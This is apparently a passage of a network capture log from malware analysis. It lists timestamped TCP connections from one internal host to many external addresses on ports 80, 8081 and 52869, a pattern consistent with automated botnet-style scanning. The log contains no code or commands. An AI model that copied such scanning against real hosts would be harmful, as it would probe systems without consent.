Jul 20, 2024 23:00:57.931647062 CEST	8081	55508	129.66.19.4	192.168.2.23
Jul 20, 2024 23:00:57.931687117 CEST	55508	8081	192.168.2.23	129.66.19.4
Jul 20, 2024 23:00:57.932487011 CEST	52606	80	192.168.2.23	95.29.14.111
Jul 20, 2024 23:00:57.934768915 CEST	80	49470	95.199.108.166	192.168.2.23
Jul 20, 2024 23:00:57.934811115 CEST	49470	80	192.168.2.23	95.199.108.166
Jul 20, 2024 23:00:57.935081005 CEST	52869	59766	133.66.91.121	192.168.2.23
Jul 20, 2024 23:00:57.935122013 CEST	59766	52869	192.168.2.23	133.66.91.121
Jul 20, 2024 23:00:57.935933113 CEST	48288	8081	192.168.2.23	209.221.156.98
Jul 20, 2024 23:00:57.936690092 CEST	8081	58430	42.37.47.7	192.168.2.23
Jul 20, 2024 23:00:57.936728954 CEST	58430	8081	192.168.2.23	42.37.47.7
Jul 20, 2024 23:00:57.937262058 CEST	44978	80	192.168.2.23	95.186.203.212
Jul 20, 2024 23:00:57.938647032 CEST	49348	52869	192.168.2.23	131.199.217.59
Jul 20, 2024 23:00:57.940300941 CEST	80	52606	95.29.14.111	192.168.2.23
Jul 20, 2024 23:00:57.940371990 CEST	52606	80	192.168.2.23	95.29.14.111
Jul 20, 2024 23:00:57.941622019 CEST	36372	8081	192.168.2.23	195.218.137.89
Jul 20, 2024 23:00:57.942342997 CEST	53686	80	192.168.2.23	95.83.199.37
Jul 20, 2024 23:00:57.946378946 CEST	41118	8081	192.168.2.23	221.225.197.171
Jul 20, 2024 23:00:57.946891069 CEST	36272	80	192.168.2.23	95.77.163.115
Jul 20, 2024 23:00:57.947252989 CEST	51954	52869	192.168.2.23	100.7.167.160
Jul 20, 2024 23:00:57.948213100 CEST	8081	48288	209.221.156.98	192.168.2.23
Jul 20, 2024 23:00:57.948234081 CEST	80	44978	95.186.203.212	192.168.2.23
Jul 20, 2024 23:00:57.948249102 CEST	52869	49348	131.199.217.59	192.168.2.23
Jul 20, 2024 23:00:57.948259115 CEST	48288	8081	192.168.2.23	209.221.156.98
Jul 20, 2024 23:00:57.948263884 CEST	8081	36372	195.218.137.89	192.168.2.23
Jul 20, 2024 23:00:57.948281050 CEST	44978	80	192.168.2.23	95.186.203.212
Jul 20, 2024 23:00:57.948298931 CEST	36372	8081	192.168.2.23	195.218.137.89
Jul 20, 2024 23:00:57.948374987 CEST	49348	52869	192.168.2.23	131.199.217.59
Jul 20, 2024 23:00:57.948527098 CEST	80	53686	95.83.199.37	192.168.2.23
Jul 20, 2024 23:00:57.948566914 CEST	53686	80	192.168.2.23	95.83.199.37
Jul 20, 2024 23:00:57.949917078 CEST	33024	80	192.168.2.23	95.63.144.57
Jul 20, 2024 23:00:57.950565100 CEST	54188	8081	192.168.2.23	116.5.187.7
Jul 20, 2024 23:00:57.953100920 CEST	8081	41118	221.225.197.171	192.168.2.23
Jul 20, 2024 23:00:57.953263044 CEST	80	36272	95.77.163.115	192.168.2.23
Jul 20, 2024 23:00:57.953290939 CEST	41118	8081	192.168.2.23	221.225.197.171
Jul 20, 2024 23:00:57.953515053 CEST	36272	80	192.168.2.23	95.77.163.115
Jul 20, 2024 23:00:57.953560114 CEST	52869	51954	100.7.167.160	192.168.2.23
Jul 20, 2024 23:00:57.953835964 CEST	51954	52869	192.168.2.23	100.7.167.160
Jul 20, 2024 23:00:57.954909086 CEST	52476	80	192.168.2.23	95.132.68.188
Jul 20, 2024 23:00:57.955878973 CEST	57088	52869	192.168.2.23	5.1.90.206
Jul 20, 2024 23:00:57.956021070 CEST	37296	8081	192.168.2.23	130.192.156.155
Jul 20, 2024 23:00:57.956057072 CEST	80	33024	95.63.144.57	192.168.2.23
Jul 20, 2024 23:00:57.956120968 CEST	33024	80	192.168.2.23	95.63.144.57
Jul 20, 2024 23:00:57.958981991 CEST	8081	54188	116.5.187.7	192.168.2.23
Jul 20, 2024 23:00:57.959033012 CEST	54188	8081	192.168.2.23	116.5.187.7
Jul 20, 2024 23:00:57.959234953 CEST	56088	80	192.168.2.23	95.19.94.171
Jul 20, 2024 23:00:57.961116076 CEST	55958	8081	192.168.2.23	86.189.116.244
Jul 20, 2024 23:00:57.961249113 CEST	80	52476	95.132.68.188	192.168.2.23
Jul 20, 2024 23:00:57.961309910 CEST	52476	80	192.168.2.23	95.132.68.188
Jul 20, 2024 23:00:57.962035894 CEST	52869	57088	5.1.90.206	192.168.2.23
Jul 20, 2024 23:00:57.962083101 CEST	57088	52869	192.168.2.23	5.1.90.206
Jul 20, 2024 23:00:57.962321997 CEST	8081	37296	130.192.156.155	192.168.2.23
Jul 20, 2024 23:00:57.962366104 CEST	37296	8081	192.168.2.23	130.192.156.155
Jul 20, 2024 23:00:57.964014053 CEST	34698	80	192.168.2.23	95.34.132.196
Jul 20, 2024 23:00:57.964628935 CEST	48726	52869	192.168.2.23	142.90.33.83
Jul 20, 2024 23:00:57.965764046 CEST	80	56088	95.19.94.171	192.168.2.23
Jul 20, 2024 23:00:57.965831041 CEST	56088	80	192.168.2.23	95.19.94.171
Jul 20, 2024 23:00:57.966217995 CEST	57388	8081	192.168.2.23	68.41.70.255
Jul 20, 2024 23:00:57.967895031 CEST	39112	80	192.168.2.23	95.119.119.53
Jul 20, 2024 23:00:57.968310118 CEST	8081	55958	86.189.116.244	192.168.2.23
Jul 20, 2024 23:00:57.968363047 CEST	55958	8081	192.168.2.23	86.189.116.244
Jul 20, 2024 23:00:57.970843077 CEST	80	34698	95.34.132.196	192.168.2.23
Jul 20, 2024 23:00:57.970897913 CEST	34698	80	192.168.2.23	95.34.132.196
Jul 20, 2024 23:00:57.970923901 CEST	43798	8081	192.168.2.23	119.196.179.139
Jul 20, 2024 23:00:57.971018076 CEST	52869	48726	142.90.33.83	192.168.2.23
Jul 20, 2024 23:00:57.971301079 CEST	48726	52869	192.168.2.23	142.90.33.83
Jul 20, 2024 23:00:57.972431898 CEST	51974	80	192.168.2.23	95.75.206.109
Jul 20, 2024 23:00:57.972579002 CEST	8081	57388	68.41.70.255	192.168.2.23
Jul 20, 2024 23:00:57.972625017 CEST	57388	8081	192.168.2.23	68.41.70.255
Jul 20, 2024 23:00:57.973218918 CEST	58748	52869	192.168.2.23	189.63.115.173
Jul 20, 2024 23:00:57.974457979 CEST	80	39112	95.119.119.53	192.168.2.23
Jul 20, 2024 23:00:57.974524975 CEST	39112	80	192.168.2.23	95.119.119.53
Jul 20, 2024 23:00:57.975867987 CEST	46898	8081	192.168.2.23	176.159.56.7
Jul 20, 2024 23:00:57.976347923 CEST	42268	80	192.168.2.23	95.20.245.92
Jul 20, 2024 23:00:57.977647066 CEST	8081	43798	119.196.179.139	192.168.2.23
Jul 20, 2024 23:00:57.977694988 CEST	43798	8081	192.168.2.23	119.196.179.139
Jul 20, 2024 23:00:57.977744102 CEST	80	51974	95.75.206.109	192.168.2.23
Jul 20, 2024 23:00:57.977792025 CEST	51974	80	192.168.2.23	95.75.206.109
Jul 20, 2024 23:00:57.980523109 CEST	41670	8081	192.168.2.23	78.220.143.116
Jul 20, 2024 23:00:57.980623007 CEST	34464	80	192.168.2.23	95.111.9.141
Jul 20, 2024 23:00:57.980851889 CEST	52869	58748	189.63.115.173	192.168.2.23
Jul 20, 2024 23:00:57.981041908 CEST	58748	52869	192.168.2.23	189.63.115.173
Jul 20, 2024 23:00:57.981272936 CEST	60772	52869	192.168.2.23	195.67.134.63
Jul 20, 2024 23:00:57.982537031 CEST	8081	46898	176.159.56.7	192.168.2.23
Jul 20, 2024 23:00:57.982605934 CEST	46898	8081	192.168.2.23	176.159.56.7
Jul 20, 2024 23:00:57.982959986 CEST	80	42268	95.20.245.92	192.168.2.23
Jul 20, 2024 23:00:57.983000994 CEST	42268	80	192.168.2.23	95.20.245.92
Jul 20, 2024 23:00:57.984582901 CEST	46768	80	192.168.2.23	95.159.154.72
Jul 20, 2024 23:00:57.985806942 CEST	55072	8081	192.168.2.23	191.158.189.2
Jul 20, 2024 23:00:57.986737013 CEST	8081	41670	78.220.143.116	192.168.2.23
Jul 20, 2024 23:00:57.986753941 CEST	80	34464	95.111.9.141	192.168.2.23
Jul 20, 2024 23:00:57.986809969 CEST	41670	8081	192.168.2.23	78.220.143.116
Jul 20, 2024 23:00:57.986810923 CEST	34464	80	192.168.2.23	95.111.9.141
Jul 20, 2024 23:00:57.987588882 CEST	52869	60772	195.67.134.63	192.168.2.23
Jul 20, 2024 23:00:57.987637043 CEST	60772	52869	192.168.2.23	195.67.134.63
Jul 20, 2024 23:00:57.990386963 CEST	51832	80	192.168.2.23	95.69.1.49
Jul 20, 2024 23:00:57.991365910 CEST	80	46768	95.159.154.72	192.168.2.23
Jul 20, 2024 23:00:57.991404057 CEST	46768	80	192.168.2.23	95.159.154.72
Jul 20, 2024 23:00:57.991431952 CEST	35746	52869	192.168.2.23	9.91.73.111
Jul 20, 2024 23:00:57.991679907 CEST	34960	8081	192.168.2.23	177.95.54.71
Jul 20, 2024 23:00:57.992297888 CEST	8081	55072	191.158.189.2	192.168.2.23
Jul 20, 2024 23:00:57.992341995 CEST	55072	8081	192.168.2.23	191.158.189.2
Jul 20, 2024 23:00:57.995341063 CEST	39034	80	192.168.2.23	95.90.8.227
Jul 20, 2024 23:00:57.996329069 CEST	80	51832	95.69.1.49	192.168.2.23
Jul 20, 2024 23:00:57.996378899 CEST	51832	80	192.168.2.23	95.69.1.49
Jul 20, 2024 23:00:57.997848988 CEST	52869	35746	9.91.73.111	192.168.2.23
Jul 20, 2024 23:00:57.997850895 CEST	51728	8081	192.168.2.23	42.11.33.26
Jul 20, 2024 23:00:57.997919083 CEST	35746	52869	192.168.2.23	9.91.73.111
Jul 20, 2024 23:00:57.998331070 CEST	8081	34960	177.95.54.71	192.168.2.23
Jul 20, 2024 23:00:57.998498917 CEST	34960	8081	192.168.2.23	177.95.54.71
Jul 20, 2024 23:00:58.000782013 CEST	45154	80	192.168.2.23	95.223.155.253
Jul 20, 2024 23:00:58.001627922 CEST	52268	52869	192.168.2.23	207.223.182.162
Jul 20, 2024 23:00:58.001630068 CEST	80	39034	95.90.8.227	192.168.2.23
Jul 20, 2024 23:00:58.001677036 CEST	39034	80	192.168.2.23	95.90.8.227
Jul 20, 2024 23:00:58.002732992 CEST	53936	8081	192.168.2.23	183.232.41.59
Jul 20, 2024 23:00:58.004421949 CEST	8081	51728	42.11.33.26	192.168.2.23
Jul 20, 2024 23:00:58.004494905 CEST	51728	8081	192.168.2.23	42.11.33.26
Jul 20, 2024 23:00:58.004611969 CEST	46052	80	192.168.2.23	95.217.183.227
Jul 20, 2024 23:00:58.007910967 CEST	80	45154	95.223.155.253	192.168.2.23
Jul 20, 2024 23:00:58.007934093 CEST	52869	52268	207.223.182.162	192.168.2.23
Jul 20, 2024 23:00:58.007977962 CEST	52268	52869	192.168.2.23	207.223.182.162
Jul 20, 2024 23:00:58.008188963 CEST	45154	80	192.168.2.23	95.223.155.253
Jul 20, 2024 23:00:58.008296013 CEST	50994	8081	192.168.2.23	14.240.127.137
Jul 20, 2024 23:00:58.009037971 CEST	8081	53936	183.232.41.59	192.168.2.23
Jul 20, 2024 23:00:58.009092093 CEST	53936	8081	192.168.2.23	183.232.41.59
Jul 20, 2024 23:00:58.009644985 CEST	36492	80	192.168.2.23	95.47.49.37
Jul 20, 2024 23:00:58.010894060 CEST	80	46052	95.217.183.227	192.168.2.23
Jul 20, 2024 23:00:58.010931015 CEST	33712	52869	192.168.2.23	184.60.97.199
Jul 20, 2024 23:00:58.011091948 CEST	46052	80	192.168.2.23	95.217.183.227
Jul 20, 2024 23:00:58.013287067 CEST	60736	8081	192.168.2.23	219.185.132.28
Jul 20, 2024 23:00:58.013917923 CEST	53500	80	192.168.2.23	95.212.185.109
Jul 20, 2024 23:00:58.014344931 CEST	8081	50994	14.240.127.137	192.168.2.23
Jul 20, 2024 23:00:58.014417887 CEST	50994	8081	192.168.2.23	14.240.127.137
Jul 20, 2024 23:00:58.014549971 CEST	80	36492	95.47.49.37	192.168.2.23
Jul 20, 2024 23:00:58.014615059 CEST	36492	80	192.168.2.23	95.47.49.37
Jul 20, 2024 23:00:58.017807961 CEST	56102	8081	192.168.2.23	67.27.81.222
Jul 20, 2024 23:00:58.018178940 CEST	60006	80	192.168.2.23	95.27.136.95
Jul 20, 2024 23:00:58.018558979 CEST	52869	33712	184.60.97.199	192.168.2.23
Jul 20, 2024 23:00:58.018712044 CEST	33712	52869	192.168.2.23	184.60.97.199
Jul 20, 2024 23:00:58.018788099 CEST	47142	52869	192.168.2.23	213.46.179.130
Jul 20, 2024 23:00:58.019637108 CEST	8081	60736	219.185.132.28	192.168.2.23
Jul 20, 2024 23:00:58.019728899 CEST	60736	8081	192.168.2.23	219.185.132.28
Jul 20, 2024 23:00:58.020006895 CEST	80	53500	95.212.185.109	192.168.2.23
Jul 20, 2024 23:00:58.020204067 CEST	53500	80	192.168.2.23	95.212.185.109
Jul 20, 2024 23:00:58.021466017 CEST	56286	80	192.168.2.23	95.16.252.201
Jul 20, 2024 23:00:58.022229910 CEST	54054	8081	192.168.2.23	8.145.37.187
Jul 20, 2024 23:00:58.024183989 CEST	8081	56102	67.27.81.222	192.168.2.23
Jul 20, 2024 23:00:58.024235010 CEST	56102	8081	192.168.2.23	67.27.81.222
Jul 20, 2024 23:00:58.024981976 CEST	80	60006	95.27.136.95	192.168.2.23
Jul 20, 2024 23:00:58.025012970 CEST	52869	47142	213.46.179.130	192.168.2.23
Jul 20, 2024 23:00:58.025039911 CEST	60006	80	192.168.2.23	95.27.136.95
Jul 20, 2024 23:00:58.025068045 CEST	47142	52869	192.168.2.23	213.46.179.130
Jul 20, 2024 23:00:58.026360989 CEST	37392	80	192.168.2.23	95.248.74.27
Jul 20, 2024 23:00:58.027056932 CEST	47302	52869	192.168.2.23	117.49.51.0
Jul 20, 2024 23:00:58.027240992 CEST	37146	8081	192.168.2.23	113.230.96.58
Jul 20, 2024 23:00:58.027694941 CEST	80	56286	95.16.252.201	192.168.2.23
Jul 20, 2024 23:00:58.027781963 CEST	56286	80	192.168.2.23	95.16.252.201
Jul 20, 2024 23:00:58.028455019 CEST	8081	54054	8.145.37.187	192.168.2.23
Jul 20, 2024 23:00:58.028500080 CEST	54054	8081	192.168.2.23	8.145.37.187
Jul 20, 2024 23:00:58.030178070 CEST	56938	80	192.168.2.23	95.141.246.34
Jul 20, 2024 23:00:58.032149076 CEST	44752	8081	192.168.2.23	44.246.32.7
Jul 20, 2024 23:00:58.032721043 CEST	80	37392	95.248.74.27	192.168.2.23
Jul 20, 2024 23:00:58.032763004 CEST	37392	80	192.168.2.23	95.248.74.27
Jul 20, 2024 23:00:58.033180952 CEST	52869	47302	117.49.51.0	192.168.2.23
Jul 20, 2024 23:00:58.033231974 CEST	47302	52869	192.168.2.23	117.49.51.0
Jul 20, 2024 23:00:58.033401966 CEST	8081	37146	113.230.96.58	192.168.2.23
Jul 20, 2024 23:00:58.033452034 CEST	37146	8081	192.168.2.23	113.230.96.58
Jul 20, 2024 23:00:58.034780979 CEST	38120	80	192.168.2.23	95.16.233.29
Jul 20, 2024 23:00:58.035461903 CEST	41252	52869	192.168.2.23	188.92.250.125
Jul 20, 2024 23:00:58.036756039 CEST	33260	8081	192.168.2.23	40.128.147.134
Jul 20, 2024 23:00:58.037235975 CEST	80	56938	95.141.246.34	192.168.2.23
Jul 20, 2024 23:00:58.037354946 CEST	56938	80	192.168.2.23	95.141.246.34
Jul 20, 2024 23:00:58.038240910 CEST	34888	80	192.168.2.23	95.107.6.30
Jul 20, 2024 23:00:58.038779974 CEST	8081	44752	44.246.32.7	192.168.2.23
Jul 20, 2024 23:00:58.038927078 CEST	44752	8081	192.168.2.23	44.246.32.7
Jul 20, 2024 23:00:58.040992975 CEST	80	38120	95.16.233.29	192.168.2.23
Jul 20, 2024 23:00:58.041032076 CEST	38120	80	192.168.2.23	95.16.233.29
Jul 20, 2024 23:00:58.041474104 CEST	42264	8081	192.168.2.23	158.113.146.43
Jul 20, 2024 23:00:58.041604042 CEST	52869	41252	188.92.250.125	192.168.2.23
Jul 20, 2024 23:00:58.041680098 CEST	41252	52869	192.168.2.23	188.92.250.125
Jul 20, 2024 23:00:58.043051958 CEST	8081	33260	40.128.147.134	192.168.2.23
Jul 20, 2024 23:00:58.043204069 CEST	33260	8081	192.168.2.23	40.128.147.134
Jul 20, 2024 23:00:58.043615103 CEST	59870	80	192.168.2.23	95.102.82.117
Jul 20, 2024 23:00:58.044349909 CEST	34398	52869	192.168.2.23	27.254.228.216
Jul 20, 2024 23:00:58.044375896 CEST	80	34888	95.107.6.30	192.168.2.23
Jul 20, 2024 23:00:58.044434071 CEST	34888	80	192.168.2.23	95.107.6.30
Jul 20, 2024 23:00:58.046637058 CEST	57144	8081	192.168.2.23	136.141.153.70
Jul 20, 2024 23:00:58.046879053 CEST	42564	80	192.168.2.23	95.74.78.222
Jul 20, 2024 23:00:58.047615051 CEST	8081	42264	158.113.146.43	192.168.2.23
Jul 20, 2024 23:00:58.047924995 CEST	42264	8081	192.168.2.23	158.113.146.43
Jul 20, 2024 23:00:58.050627947 CEST	80	59870	95.102.82.117	192.168.2.23
Jul 20, 2024 23:00:58.050658941 CEST	52869	34398	27.254.228.216	192.168.2.23
Jul 20, 2024 23:00:58.050682068 CEST	59870	80	192.168.2.23	95.102.82.117
Jul 20, 2024 23:00:58.050698996 CEST	34398	52869	192.168.2.23	27.254.228.216
Jul 20, 2024 23:00:58.051290035 CEST	54186	8081	192.168.2.23	67.126.95.220
Jul 20, 2024 23:00:58.051758051 CEST	8081	57144	136.141.153.70	192.168.2.23
Jul 20, 2024 23:00:58.051932096 CEST	57144	8081	192.168.2.23	136.141.153.70
Jul 20, 2024 23:00:58.052006960 CEST	47632	80	192.168.2.23	95.81.115.211
Jul 20, 2024 23:00:58.052655935 CEST	48448	52869	192.168.2.23	191.79.195.70
Jul 20, 2024 23:00:58.054603100 CEST	80	42564	95.74.78.222	192.168.2.23
Jul 20, 2024 23:00:58.054646969 CEST	42564	80	192.168.2.23	95.74.78.222
Jul 20, 2024 23:00:58.055460930 CEST	59510	80	192.168.2.23	95.157.203.128
Jul 20, 2024 23:00:58.056349993 CEST	52988	8081	192.168.2.23	45.154.193.96
Jul 20, 2024 23:00:58.058706045 CEST	8081	54186	67.126.95.220	192.168.2.23
Jul 20, 2024 23:00:58.058741093 CEST	80	47632	95.81.115.211	192.168.2.23
Jul 20, 2024 23:00:58.058752060 CEST	54186	8081	192.168.2.23	67.126.95.220
Jul 20, 2024 23:00:58.058784008 CEST	47632	80	192.168.2.23	95.81.115.211
Jul 20, 2024 23:00:58.059056044 CEST	52869	48448	191.79.195.70	192.168.2.23
Jul 20, 2024 23:00:58.059102058 CEST	48448	52869	192.168.2.23	191.79.195.70
Jul 20, 2024 23:00:58.060316086 CEST	56156	80	192.168.2.23	95.170.196.15
Jul 20, 2024 23:00:58.061095953 CEST	40144	52869	192.168.2.23	47.237.197.200
Jul 20, 2024 23:00:58.061387062 CEST	49148	8081	192.168.2.23	40.204.235.232
Jul 20, 2024 23:00:58.061932087 CEST	80	59510	95.157.203.128	192.168.2.23
Jul 20, 2024 23:00:58.061971903 CEST	59510	80	192.168.2.23	95.157.203.128
Jul 20, 2024 23:00:58.062413931 CEST	8081	52988	45.154.193.96	192.168.2.23
Jul 20, 2024 23:00:58.062462091 CEST	52988	8081	192.168.2.23	45.154.193.96
Jul 20, 2024 23:00:58.063803911 CEST	38090	80	192.168.2.23	95.50.34.145
Jul 20, 2024 23:00:58.065821886 CEST	43480	8081	192.168.2.23	67.253.170.233
Jul 20, 2024 23:00:58.066468000 CEST	80	56156	95.170.196.15	192.168.2.23
Jul 20, 2024 23:00:58.066514969 CEST	56156	80	192.168.2.23	95.170.196.15
Jul 20, 2024 23:00:58.067441940 CEST	52869	40144	47.237.197.200	192.168.2.23
Jul 20, 2024 23:00:58.067555904 CEST	40144	52869	192.168.2.23	47.237.197.200
Jul 20, 2024 23:00:58.068135023 CEST	42306	80	192.168.2.23	95.106.65.7
Jul 20, 2024 23:00:58.068262100 CEST	8081	49148	40.204.235.232	192.168.2.23
Jul 20, 2024 23:00:58.068315983 CEST	49148	8081	192.168.2.23	40.204.235.232
Jul 20, 2024 23:00:58.068768978 CEST	48042	52869	192.168.2.23	54.250.134.170
Jul 20, 2024 23:00:58.069904089 CEST	49152	8081	192.168.2.23	67.146.206.6
Jul 20, 2024 23:00:58.070003033 CEST	80	38090	95.50.34.145	192.168.2.23
Jul 20, 2024 23:00:58.070049047 CEST	38090	80	192.168.2.23	95.50.34.145
Jul 20, 2024 23:00:58.071474075 CEST	60632	80	192.168.2.23	95.43.93.252
Jul 20, 2024 23:00:58.072235107 CEST	8081	43480	67.253.170.233	192.168.2.23
Jul 20, 2024 23:00:58.072304964 CEST	43480	8081	192.168.2.23	67.253.170.233
Jul 20, 2024 23:00:58.074194908 CEST	43636	8081	192.168.2.23	99.31.70.158
Jul 20, 2024 23:00:58.074997902 CEST	80	42306	95.106.65.7	192.168.2.23
Jul 20, 2024 23:00:58.075054884 CEST	42306	80	192.168.2.23	95.106.65.7
Jul 20, 2024 23:00:58.075448990 CEST	39554	80	192.168.2.23	95.58.105.201
Jul 20, 2024 23:00:58.075484991 CEST	52869	48042	54.250.134.170	192.168.2.23
Jul 20, 2024 23:00:58.075648069 CEST	48042	52869	192.168.2.23	54.250.134.170
Jul 20, 2024 23:00:58.076134920 CEST	45268	52869	192.168.2.23	109.80.210.12
Jul 20, 2024 23:00:58.076236963 CEST	8081	49152	67.146.206.6	192.168.2.23
Jul 20, 2024 23:00:58.076297998 CEST	49152	8081	192.168.2.23	67.146.206.6
Jul 20, 2024 23:00:58.078036070 CEST	80	60632	95.43.93.252	192.168.2.23
Jul 20, 2024 23:00:58.078087091 CEST	60632	80	192.168.2.23	95.43.93.252
Jul 20, 2024 23:00:58.078680992 CEST	50012	8081	192.168.2.23	69.163.38.91
Jul 20, 2024 23:00:58.079294920 CEST	43442	80	192.168.2.23	95.204.198.68
Jul 20, 2024 23:00:58.080703020 CEST	8081	43636	99.31.70.158	192.168.2.23
Jul 20, 2024 23:00:58.080760002 CEST	43636	8081	192.168.2.23	99.31.70.158
Jul 20, 2024 23:00:58.081671000 CEST	80	39554	95.58.105.201	192.168.2.23
Jul 20, 2024 23:00:58.081741095 CEST	39554	80	192.168.2.23	95.58.105.201
Jul 20, 2024 23:00:58.082765102 CEST	52869	45268	109.80.210.12	192.168.2.23
Jul 20, 2024 23:00:58.082818985 CEST	45268	52869	192.168.2.23	109.80.210.12
Jul 20, 2024 23:00:58.083571911 CEST	39708	8081	192.168.2.23	50.238.59.193
Jul 20, 2024 23:00:58.084196091 CEST	59444	80	192.168.2.23	95.13.168.179
Jul 20, 2024 23:00:58.084906101 CEST	43256	52869	192.168.2.23	206.208.92.27
Jul 20, 2024 23:00:58.085835934 CEST	8081	50012	69.163.38.91	192.168.2.23
Jul 20, 2024 23:00:58.085877895 CEST	50012	8081	192.168.2.23	69.163.38.91
Jul 20, 2024 23:00:58.086137056 CEST	80	43442	95.204.198.68	192.168.2.23
Jul 20, 2024 23:00:58.086194038 CEST	43442	80	192.168.2.23	95.204.198.68
Jul 20, 2024 23:00:58.088211060 CEST	49112	80	192.168.2.23	95.224.122.49
Jul 20, 2024 23:00:58.088967085 CEST	43240	8081	192.168.2.23	40.34.22.17
Jul 20, 2024 23:00:58.090358973 CEST	8081	39708	50.238.59.193	192.168.2.23
Jul 20, 2024 23:00:58.090400934 CEST	39708	8081	192.168.2.23	50.238.59.193
Jul 20, 2024 23:00:58.091439009 CEST	80	59444	95.13.168.179	192.168.2.23
Jul 20, 2024 23:00:58.091494083 CEST	59444	80	192.168.2.23	95.13.168.179
Jul 20, 2024 23:00:58.092385054 CEST	52869	43256	206.208.92.27	192.168.2.23
Jul 20, 2024 23:00:58.092428923 CEST	43256	52869	192.168.2.23	206.208.92.27
Jul 20, 2024 23:00:58.092866898 CEST	41780	80	192.168.2.23	95.184.188.30
Jul 20, 2024 23:00:58.093599081 CEST	56974	52869	192.168.2.23	153.15.211.214
Jul 20, 2024 23:00:58.093719006 CEST	58218	8081	192.168.2.23	5.212.63.8
Jul 20, 2024 23:00:58.094506979 CEST	80	49112	95.224.122.49	192.168.2.23
Jul 20, 2024 23:00:58.094547987 CEST	49112	80	192.168.2.23	95.224.122.49
Jul 20, 2024 23:00:58.095133066 CEST	8081	43240	40.34.22.17	192.168.2.23
Jul 20, 2024 23:00:58.095257044 CEST	43240	8081	192.168.2.23	40.34.22.17
Jul 20, 2024 23:00:58.096257925 CEST	35314	80	192.168.2.23	95.217.227.150
Jul 20, 2024 23:00:58.097846031 CEST	47030	8081	192.168.2.23	126.203.110.229
Jul 20, 2024 23:00:58.099198103 CEST	80	41780	95.184.188.30	192.168.2.23
Jul 20, 2024 23:00:58.099261045 CEST	41780	80	192.168.2.23	95.184.188.30
Jul 20, 2024 23:00:58.099850893 CEST	52869	56974	153.15.211.214	192.168.2.23
Jul 20, 2024 23:00:58.099889994 CEST	56974	52869	192.168.2.23	153.15.211.214
Jul 20, 2024 23:00:58.100157976 CEST	8081	58218	5.212.63.8	192.168.2.23
Jul 20, 2024 23:00:58.100212097 CEST	58218	8081	192.168.2.23	5.212.63.8
Jul 20, 2024 23:00:58.100820065 CEST	52188	80	192.168.2.23	95.129.39.24
Jul 20, 2024 23:00:58.101497889 CEST	54976	52869	192.168.2.23	151.5.114.8
Jul 20, 2024 23:00:58.102543116 CEST	80	35314	95.217.227.150	192.168.2.23
Jul 20, 2024 23:00:58.102605104 CEST	35314	80	192.168.2.23	95.217.227.150
Jul 20, 2024 23:00:58.103086948 CEST	43892	8081	192.168.2.23	65.226.156.101
Jul 20, 2024 23:00:58.104615927 CEST	51332	80	192.168.2.23	95.73.162.66
Jul 20, 2024 23:00:58.104656935 CEST	8081	47030	126.203.110.229	192.168.2.23
Jul 20, 2024 23:00:58.104697943 CEST	47030	8081	192.168.2.23	126.203.110.229
Jul 20, 2024 23:00:58.107662916 CEST	80	52188	95.129.39.24	192.168.2.23
Jul 20, 2024 23:00:58.107788086 CEST	53188	8081	192.168.2.23	50.129.227.225
Jul 20, 2024 23:00:58.107834101 CEST	52188	80	192.168.2.23	95.129.39.24
Jul 20, 2024 23:00:58.109347105 CEST	47348	80	192.168.2.23	95.78.253.213
Jul 20, 2024 23:00:58.109529972 CEST	52869	54976	151.5.114.8	192.168.2.23
Jul 20, 2024 23:00:58.109591007 CEST	8081	43892	65.226.156.101	192.168.2.23
Jul 20, 2024 23:00:58.109611988 CEST	54976	52869	192.168.2.23	151.5.114.8
Jul 20, 2024 23:00:58.109639883 CEST	43892	8081	192.168.2.23	65.226.156.101
Jul 20, 2024 23:00:58.110209942 CEST	43978	52869	192.168.2.23	148.117.206.184
Jul 20, 2024 23:00:58.111066103 CEST	80	51332	95.73.162.66	192.168.2.23
Jul 20, 2024 23:00:58.111174107 CEST	51332	80	192.168.2.23	95.73.162.66
Jul 20, 2024 23:00:58.112998009 CEST	44204	8081	192.168.2.23	62.145.56.184
Jul 20, 2024 23:00:58.113442898 CEST	49600	80	192.168.2.23	95.186.21.70
Jul 20, 2024 23:00:58.117638111 CEST	46676	8081	192.168.2.23	102.118.189.255
Jul 20, 2024 23:00:58.117768049 CEST	8081	53188	50.129.227.225	192.168.2.23
Jul 20, 2024 23:00:58.117815018 CEST	80	47348	95.78.253.213	192.168.2.23
Jul 20, 2024 23:00:58.117846012 CEST	52869	43978	148.117.206.184	192.168.2.23
Jul 20, 2024 23:00:58.117877960 CEST	53188	8081	192.168.2.23	50.129.227.225
Jul 20, 2024 23:00:58.117984056 CEST	47348	80	192.168.2.23	95.78.253.213
Jul 20, 2024 23:00:58.117985010 CEST	43978	52869	192.168.2.23	148.117.206.184
Jul 20, 2024 23:00:58.118001938 CEST	42568	80	192.168.2.23	95.46.44.80
Jul 20, 2024 23:00:58.118745089 CEST	49602	52869	192.168.2.23	114.57.93.253
Jul 20, 2024 23:00:58.119582891 CEST	8081	44204	62.145.56.184	192.168.2.23
Jul 20, 2024 23:00:58.119720936 CEST	44204	8081	192.168.2.23	62.145.56.184
Jul 20, 2024 23:00:58.119889975 CEST	80	49600	95.186.21.70	192.168.2.23
Jul 20, 2024 23:00:58.119940042 CEST	49600	80	192.168.2.23	95.186.21.70
Jul 20, 2024 23:00:58.122612000 CEST	60060	80	192.168.2.23	95.125.201.89
Jul 20, 2024 23:00:58.123532057 CEST	55204	8081	192.168.2.23	71.33.35.123
Jul 20, 2024 23:00:58.124249935 CEST	8081	46676	102.118.189.255	192.168.2.23
Jul 20, 2024 23:00:58.124289036 CEST	80	42568	95.46.44.80	192.168.2.23
Jul 20, 2024 23:00:58.124306917 CEST	46676	8081	192.168.2.23	102.118.189.255
Jul 20, 2024 23:00:58.124320030 CEST	52869	49602	114.57.93.253	192.168.2.23
Jul 20, 2024 23:00:58.124339104 CEST	42568	80	192.168.2.23	95.46.44.80
Jul 20, 2024 23:00:58.124387026 CEST	49602	52869	192.168.2.23	114.57.93.253
Jul 20, 2024 23:00:58.127676010 CEST	46356	80	192.168.2.23	95.195.0.56
Jul 20, 2024 23:00:58.128290892 CEST	57270	52869	192.168.2.23	41.215.81.142
Jul 20, 2024 23:00:58.128544092 CEST	50856	8081	192.168.2.23	39.251.53.179
Jul 20, 2024 23:00:58.130009890 CEST	80	60060	95.125.201.89	192.168.2.23
Jul 20, 2024 23:00:58.130067110 CEST	60060	80	192.168.2.23	95.125.201.89
Jul 20, 2024 23:00:58.130433083 CEST	8081	55204	71.33.35.123	192.168.2.23
Jul 20, 2024 23:00:58.130500078 CEST	55204	8081	192.168.2.23	71.33.35.123
